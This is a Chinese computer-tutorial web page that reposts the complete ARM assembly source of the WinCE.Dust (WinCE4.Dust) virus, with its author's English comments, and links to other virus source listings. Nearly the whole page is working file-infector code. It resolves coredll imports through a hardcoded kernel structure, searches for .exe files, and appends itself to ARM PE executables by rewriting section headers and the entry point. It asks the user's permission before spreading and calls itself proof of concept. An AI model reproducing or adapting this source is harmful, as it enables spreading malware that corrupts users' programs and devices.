手机病毒,WinCE.Dust手机病毒源代码

WinCE.Dust手机病毒源代码 - 电脑安全 - 电脑教程网

WinCE.Dust手机病毒源代码

日期:2006-04-15   荐:
·熊猫烧香之后有仇英 病毒源代码很简单·Cabir 手机病毒源代码(caribe)·Love Letter病毒源代码·backdoor病毒源代码·Love Letter病毒源代码 ** virus_source **CODE32EXPORT WinMainCRTStartupAREA .text, CODE, ARMvirus_start; r11 - base pointervirus_code_start PROCstmdb sp!, {r0 - r12, lr, pc}mov r11, spsub sp, sp, #56 ; make space on the stack; our stack space gets filled the following way; #-56 - udiv; #-52 - malloc; #-48 - free; [r11, #-44] - CreateFileForMappingW; #-40 - CloseHandle; #-36 - CreateFileMappingW; #-32 - MapViewOfFile; #-28 - UnmapViewOfFile; #-24 - FindFirstFileW; #-20 - FindNextFileW; #-16 - FindClose; #-12 - MessageBoxW; #- 8 - filehandle; #- 4 - mapping handlebl get_export_section; we'll import via ordinals, not function names, because it's; safe - even linker does thatadr r2, import_ordinalsmov r3, spbl lookup_imports;bl ask_userbeq jmp_to_host ; are we allowed to spread?;mov r0, #0x23, 28mov lr, pcldr pc, [r11, #-52] ; allocate WFDmov r4, r0cmp r0, #0beq jmp_to_host; in the following code I use functions FindFirstFile/FindNextFile; for finding *.exe files in the current directory. But in this; case I made a big mistake. I didn't realize that WinCE is not; aware of the current directory and thus we need to use absolute; pathnames. That's why this code won't find files in the current; directory, but rather always in root directory. I found this out when I; was performing final tests, but because the aim was to create a; proof-of-concept code and because the infection itself was already; limited by the user's permission, I decided not to correct this; bugadr r0, maskmov r1, r4mov lr, pcldr pc, [r11, #-24] ; find first filecmn r0, #1beq free_wfdmov r5, r0find_files_iterateldr r0, [r4, #28] ; filesize highldr r1, [r4, #32] ; filesize lowcmp r0, #0 ; file too big?bne find_next_filecmp r1, #0x1000 ; file smaller than 4096 bytes?addgt r0, r4, #40 ; gimme file nameblgt infect_filefind_next_filemov r0, r5mov r1, r4mov lr, pcldr pc, [r11, #-20] ; find next filecmp r0, #0 ; is there any left?bne find_files_iteratemov r0, r5mov lr, pcldr pc, [r11, #-16]free_wfdmov r0, r4mov lr, pcldr pc, [r11, #-48] ; free WFD;jmp_to_hostadr r0, host_epldr r1, [r0] ; get host_entryldr r2, [r11, #56] ; get pcadd r1, r1, r2 ; add displacementstr r1, [r11, #56] ; store it backmov sp, r11ldmia sp!, {r0 - r12, lr, pc}ENDP; we're looking for *.exe filesmask DCB "*", 0x0, ".", 0x0, "e", 0x0, "x", 0x0, "e", 0x0, 0x0, 0x0; host entry point displacement; in first generation let compiler count ithost_epDCD host_entry - virus_code_start - 8; WinCE is a UNICODE-only platform and thus we'll use the W ending; for api names (there are no ANSI versions of these)import_ordinalsDCW 2008 ; udivDCW 1041 ; mallocDCW 1018 ; freeDCW 1167 ; CreateFileForMappingWDCW 553 ; CloseHandleDCW 548 ; CreateFileMappingWDCW 549 ; MapViewOfFileDCW 550 ; UnmapViewOfFileDCW 167 ; FindFirstFileWDCW 181 ; FindNextFileDCW 180 ; FindCloseDCW 858 ; MessageBoxWDCD 0x0; basic wide string comparewstrcmp PROCwstrcmp_iterateldrh r2, [r0], #2ldrh r3, [r1], #2cmp r2, #0cmpeq r3, #0moveq pc, lr cmp r2, r3beq wstrcmp_iteratemov pc, lrENDP; on theWin32 platform, almost all important functions were located in the; kernel32.dll library (and if they weren't, the LoadLibrary/GetProcAddresss pair; was). The first infectors had a hardcoded imagebase of this dll and; later they imported needed functions by hand from it. This; turned out to be incompatible because different Windows versions might; have different imagebases for kernel32. That's why more or less; sophisticated methods were found that allowed coding in a; compatible way. One of these methods is scanning memory for known values; located in PE file header ("MZ") if the address inside the module is; given. Because the function inside kernel32 calls the EntryPoint of; every Win32 process, we've got this address. Then comparing the word; on and aligned address (and decrementing it) against known values is; enough to locate the imagebase. If this routine is even covered; with SEH (Structured Exception Handling) everything is safe.; I wanted to use this method on WinCE too, but I hit the wall.; Probably to save memory space, there are no headers; before the first section of the loaded module. There is thus no; "MZ" value and scanning cannot be used even we have the address; inside coredll.dll (lr registr on our entrypoint). Moreover, we; cannot use SEH either, because SEH handlers get installed with; the help of a special directory (the exception directory) in the PE file and; some data before the function starts - this information would have; to be added while infecting the victim (the exception directory; would have to be altered) which is of course not impossible -- just; a little bit impractical to implement in our basic virus.; That's why I was forced to use a different approach. I looked; through the Windows CE 3.0 source code (shared source,; downloadable from Microsoft) and tried to find out how the loader; performs its task. The Loader needs the pointer to the module's export; section and its imagebase to be able to import from it. The result was a; KDataStruct at a hardcoded address accessible from user mode (why Microsoft; chose to open this loophole, I don't know); and mainly it's item aInfo[KINX_MODULES] which is a pointer to a; list of Module structures. There we can find all needed values; (name of the module, imagebase and export section RVA). In the; code that follows I go through this one-way list and look for; structure describing the coredll.dll module. From this structure I; get the imagebase and export section RVA (Relative Virtual Address).; what sounds relatively easy was in the end more work than I; expected. The problem was to get the offsets in the Module; structure. The source code and corresponding headers I had were for; Windows CE 3.0, but I was writing for Windows CE 4.2 (Windows Mobile 2003),; where the structure is different. I worked it out using the following; sequence:; I was able to get the imagebase offset using the trial-and-error; method - I used the debugger and tried values inside the; structure that looked like valid pointers. If there was something; interesting, I did some memory sniffing to realize where I was.; The export section pointer was more difficult. There is no real; pointer, just the RVA instead. Adding the imagebase to RVA gives us the; pointer. That's why I found coredll.dll in memory - namely the; list of function names in export section that the library exports.; This list is just a series of ASCIIZ names (you can see this list; when opening the dll in your favourite hex editor). At the; beginning of this list there must be a dll name (in this case; coredll.dll) to which a RVA in the export section header; points. Substracting the imagebase from the address where the dll; name starts gave me an RVA of the dll name. I did a simple byte; search for the byte sequence that together made this RVA value. This; showed me where the (Export Directory Table).Name Rva is.; Because this is a known offset within a known structure (which is; in the beginning of export section), I was able to get; the export section pointer this way. I again substracted the imagebase to; get the export section RVA. I looked up this value in the coredll's; Module structure, which finally gave me the export section RVA; offset. ; this works on Pocket PC 2003; it works on; my wince 4.20.0 (build 13252).; On different versions the structure offsets might be different :-/; output:; r0 - coredll base addr; r1 - export section addrget_export_section PROCstmdb sp!, {r4 - r9, lr}ldr r4, =0xffffc800 ; KDataStructldr r5, =0x324 ; aInfo[KINX_MODULES]add r5, r4, r5ldr r5, [r5]; r5 now points to first modulemov r6, r5mov r7, #0iterateldr r0, [r6, #8] ; get dll nameadr r1, coredllbl wstrcmp ; compare with coredll.dllldreq r7, [r6, #0x7c] ; get dll baseldreq r8, [r6, #0x8c] ; get export section rvaadd r9, r7, r8beq got_coredllbase ; is it what we're looking for?ldr r6, [r6, #4]cmp r6, #0cmpne r6, r5bne iterate ; nope, go ongot_coredllbasemov r0, r7add r1, r8, r7 ; yep, we've got imagebase; and export section pointerldmia sp!, {r4 - r9, pc}ENDPcoredll DCB "c", 0x0, "o", 0x0, "r", 0x0, "e", 0x0, "d", 0x0, "l", 0x0, "l", 0x0DCB ".", 0x0, "d", 0x0, "l", 0x0, "l", 0x0, 0x0, 0x0; r0 - coredll base addr; r1 - export section addr; r2 - import ordinals array; r3 - where to store function adrslookup_imports PROCstmdb sp!, {r4 - r6, lr}ldr r4, [r1, #0x10] ; gimme ordinal baseldr r5, [r1, #0x1c] ; gimme Export Address Tableadd r5, r5, r0lookup_imports_iterateldrh r6, [r2], #2 ; gimme ordinalcmp r6, #0 ; last value?subne r6, r6, r4 ; substract ordinal baseldrne r6, [r5, r6, LSL #2] ; gimme export RVAaddne r6, r6, r0 ; add imagebasestrne r6, [r3], #4 ; store function addressbne lookup_imports_iterateldmia sp!, {r4 - r6, pc}ENDP; r0 - filename; r1 - filesizeinfect_file PROCstmdb sp!, {r0, r1, r4, r5, lr}mov r4, r1mov r8, r0bl open_file ; first open the file for mappingcmn r0, #1beq infect_file_endstr r0, [r11, #-8] ; store the handlemov r0, r4 ; now create the mapping with; maximum size == filesizebl create_mappingcmp r0, #0beq infect_file_end_close_filestr r0, [r11, #-4] ; store the handlemov r0, r4bl map_file ; map the whole filecmp r0, #0beq infect_file_end_close_mappingmov r5, r0bl check_header ; is it file that we can infect?bne infect_file_end_unmap_viewldr r0, [r2, #0x4c] ; check the reserved field in; optional header againstldr r1, =0x72617461 ; ratacmp r0, r1 ; already infected?beq infect_file_end_unmap_viewldr r1, [r2, #0x3c] ; gimme filealignmentadr r0, virus_startadr r2, virus_end ; compute virus sizesub r0, r2, r0mov r7, r0 ; r7 now holds virus_sizeadd r0, r0, r4bl _align_ ; add it to filesize andmov r6, r0 ; align it to filealignment; r6 holds the new filesizemov r0, r5mov lr, pcldr pc, [r11, #-28] ; UnmapViewOfFileldr r0, [r11, #-4]mov lr, pcldr pc, [r11, #-40] ; close mapping handle;mov r0, r8bl open_file ; reopen the file because via; closing the mapping handle file; handle was closed toocmn r0, #1beq infect_file_endstr r0, [r11, #-8]mov r0, r6 ; create mapping again with thebl create_mapping ; new filesize (with virus appended)cmp r0, #0beq infect_file_end_close_filestr r0, [r11, #-4]mov r0, r6bl map_file ; map itcmp r0, #0beq infect_file_end_close_mappingmov r5, r0;; r5 - mapping base; r7 - virus_sizeldr r4, [r5, #0x3c] ; get PE signature offsetadd r4, r4, r5 ; add the baseldrh r1, [r4, #6] ; get NumberOfSectionssub r1, r1, #1 ; we want the last section header; so dec mov r2, #0x28 ; multiply with section header sizemul r0, r1, r2add r0, r0, r4 ; add optional header start to displacementadd r0, r0, #0x78 ; add optional header sizeldr r1, [r4, #0x74] ; get number of data directoriesmov r1, r1, LSL #3 ; multiply with sizeof(data_directory)add r0, r0, r1 ; add it because section headers; start after the optional header; (including data directories)ldr r6, [r4, #0x28] ; gimme entrypoint rvaldr r1, [r0, #0x10] ; get last section's size of rawdataldr r2, [r0, #0x14] ; and pointer to rawdatamov r3, r1add r1, r1, r2 ; compute pointer to the first; byte available for us in the; last section; (pointer to rawdata sizeof rawdata)mov r9, r1 ; r9 now holds the pointerldr r8, [r0, #0xc] ; get RVA of section startadd r3, r3, r8 ; add sizeof rawdatastr r3, [r4, #0x28] ; set entrypointsub r6, r6, r3 ; now compute the displacement so that; we can later jump back to the hostsub r6, r6, #8 ; sub 8 because pc points to; fetched instruction (viz LTORG)mov r10, r0ldr r0, [r10, #0x10] ; get size of raw data againadd r0, r0, r7 ; add virus sizeldr r1, [r4, #0x3c]bl _align_ ; and alignstr r0, [r10, #0x10] ; store new size of rawdatastr r0, [r10, #0x8] ; store new virtual sizeldr r1, [r10, #0xc] ; get virtual address of last sectionadd r0, r0, r1 ; add size so get whole image sizestr r0, [r4, #0x50] ; and store itldr r0, =0x60000020 ; IMAGE_SCN_CNT_CODE | MAGE_SCN_MEM_EXECUTE |; IMAGE_SCN_MEM_READldr r1, [r10, #0x24] ; get old section flagsorr r0, r1, r0 ; or it with our needed onesstr r0, [r10, #0x24] ; store new flagsldr r0, =0x72617461str r0, [r4, #0x4c] ; store our infection markadd r1, r9, r5 ; now we'll copy virus bodymov r9, r1 ; to space prepared in last sectionadr r0, virus_startmov r2, r7bl simple_memcpyadr r0, host_ep ; compute number of bytes between; virus start and host epadr r1, virus_startsub r0, r0, r1 ; because we'll store new host_epstr r6, [r0, r9] ; in the copied virus bodyinfect_file_end_unmap_viewmov r0, r5mov lr, pc ; unmap the viewldr pc, [r11, #-28]infect_file_end_close_mappingldr r0, [r11, #-4]mov lr, pc ; close the mappingldr pc, [r11, #-40]infect_file_end_close_fileldr r0, [r11, #-8]mov lr, pc ; close file handleldr pc, [r11, #-40]infect_file_endldmia sp!, {r0, r1, r4, r5, pc} ; and returnENDP; a little reminiscence of my beloved book - Greg Egan's Permutation CityDCB "This code arose from the dust of Permutation City"ALIGN 4; this function checks whether the file we want to infect is; suitablecheck_header PROCldrh r0, [r5]ldr r1, =0x5a4d ; MZ?cmp r0, r1bne infect_file_end_close_mappingldr r2, [r5, #0x3c]add r2, r2, r5ldrh r0, [r2]ldr r1, =0x4550 ; Signature == PE?cmp r0, r1bne check_header_endldrh r0, [r2, #4]ldr r1, =0x1c0 ; Machine == ARM?cmp r0, r1bne check_header_endldrh r0, [r2, #0x5C] ; IMAGE_SUBSYSTEM_WINDOWS_CE_GUI ?cmp r0, #9bne check_header_endldrh r0, [r2, #0x40]cmp r0, #4 ; windows ce 4?check_header_endmov pc, lrENDP; r0 - fileopen_file PROCstr lr, [sp, #-4]!sub sp, sp, #0xcmov r1, #3str r1, [sp] ; OPEN_EXISTINGmov r3, #0mov r2, #0str r3, [sp, #8]str r3, [sp, #4]mov r1, #3, 2 ; GENERIC_READ | GENERIC_WRITEmov lr, pcldr pc, [r11, #-44] ; call CreateFileForMappingW to; get the handle suitable for; CreateFileMapping API; (on Win32 calling CreateFile is enough)add sp, sp, #0xcldr pc, [sp], #4ENDP ; r0 - max size lowcreate_mapping PROCstr lr, [sp, #-4]!mov r1, #0sub sp, sp, #8str r0, [sp]str r1, [sp, #4]mov r2, #4 ; PAGE_READWRITEmov r3, #0ldr r0, [r11, #-8]mov lr, pcldr pc, [r11, #-36]add sp, sp, #8ldr pc, [sp], #4ENDP; r0 - bytes to mapmap_file PROCstr lr, [sp, #-4]!sub sp, sp, #4str r0, [sp]ldr r0, [r11, #-4]mov r1, #6 ; FILE_MAP_READ or FILE_MAP_WRITEmov r2, #0mov r3, #0mov lr, pcldr pc, [r11, #-32]add sp, sp, #4ldr pc, [sp], #4ENDP; not optimized (thus simple) mem copy; r0 - src; r1 - dst; r2 - how muchsimple_memcpy PROCldr r3, [r0], #4str r3, [r1], #4subs r2, r2, #4bne simple_memcpymov pc, lrENDP; (r1 - (r1 % r0)) r0; r0 - number to align; r1 - align to what_align_ PROCstmdb sp!, {r4, r5, lr}mov r4, r0mov r5, r1mov r0, r1mov r1, r4; ARM ISA doesn't have the div instruction so we'll have to call; the coredll's div implementationmov lr, pcldr pc, [r11, #-56] ; udivsub r1, r5, r1add r0, r4, r1ldmia sp!, {r4, r5, pc}ENDP; this function will ask user (via a MessageBox) whether we're; allowed to spread or notask_user PROCstr lr, [sp, #-4]!mov r0, #0adr r1, textadr r2, captionmov r3, #4mov lr, pcldr pc, [r11, #-12]cmp r0, #7ldr pc, [sp], #4ENDP; notice that the strings are encoded in UNICODE; WinCE4.Dust by Ratter/29Acaption DCB "W", 0x0, "i", 0x0, "n", 0x0, "C", 0x0, "E", 0x0, "4", 0x0DCB ".", 0x0, "D", 0x0, "u", 0x0, "s", 0x0, "t", 0x0, " ", 0x0DCB "b", 0x0, "y", 0x0, " ", 0x0, "R", 0x0, "a", 0x0, "t", 0x0DCB "t", 0x0, "e", 0x0, "r", 0x0, "/", 0x0, "2", 0x0, "9", 0x0DCB "A", 0x0, 0x0, 0x0ALIGN 4; Dear User, am I allowed to spread?text DCB "D", 0x0, "e", 0x0, "a", 0x0, "r", 0x0, " ", 0x0, "U", 0x0DCB "s", 0x0, "e", 0x0, "r", 0x0, ",", 0x0, " ", 0x0, "a", 0x0DCB "m", 0x0, " ", 0x0, "I", 0x0, " ", 0x0, "a", 0x0, "l", 0x0DCB "l", 0x0, "o", 0x0, "w", 0x0, "e", 0x0, "d", 0x0, " ", 0x0DCB "t", 0x0, "o", 0x0, " ", 0x0, "s", 0x0, "p", 0x0, "r", 0x0DCB "e", 0x0, "a", 0x0, "d", 0x0, "?", 0x0, 0x0, 0x0ALIGN 4; Just a little greeting to *** firms :-)DCB "This is proof of concept code. Also, i wanted to make avers happy."DCB "The situation when Pocket PC antiviruses detect only EICAR file had"DCB " to end ..."ALIGN 4; LTORG is a very important pseudo instruction, which places the; literal pool "at" the place of its presence. Because the ARM; instruction length is hardcoded to 32 bits, it is not possible in; one instruction to load the whole 32bit range into a register (there; have to be bits to specify the opcode). That's why the literal; pool was introduced, which in fact is just an array of 32bit values; that are not possible to load. This data structure is later; accessed with the aid of the PC (program counter) register that points; to the currently executed instruction 8 ( 8 because ARM processors; implement a 3 phase pipeline: execute, decode, fetch and the PC; points not at the instruction being executed but at the instruction being; fetched). An offset is added to PC so that the final pointer; points to the right value in the literal pool.; the pseudo instruction ldr rX, =<value> while compiling gets; transformed to a mov instruction (if the value is in the range of; valid values) or it allocates its place in the literal pool and becomes a; ldr, rX, [pc, #<offset>]; similarly adr and adrl instructions serve to loading addresses; to register.; this approach's advantage is that with minimal effort we can get; position independent code from the compiler which allows our; code to run wherever in the address space the loader will load us.LTORGvirus_end ; the code after virus_end doesn't get copied to victimsWinMainCRTStartup PROCb virus_code_startENDP; first generation entry pointhost_entrymvn r0, #0mov pc, lrEND** virus_source_end **
标签: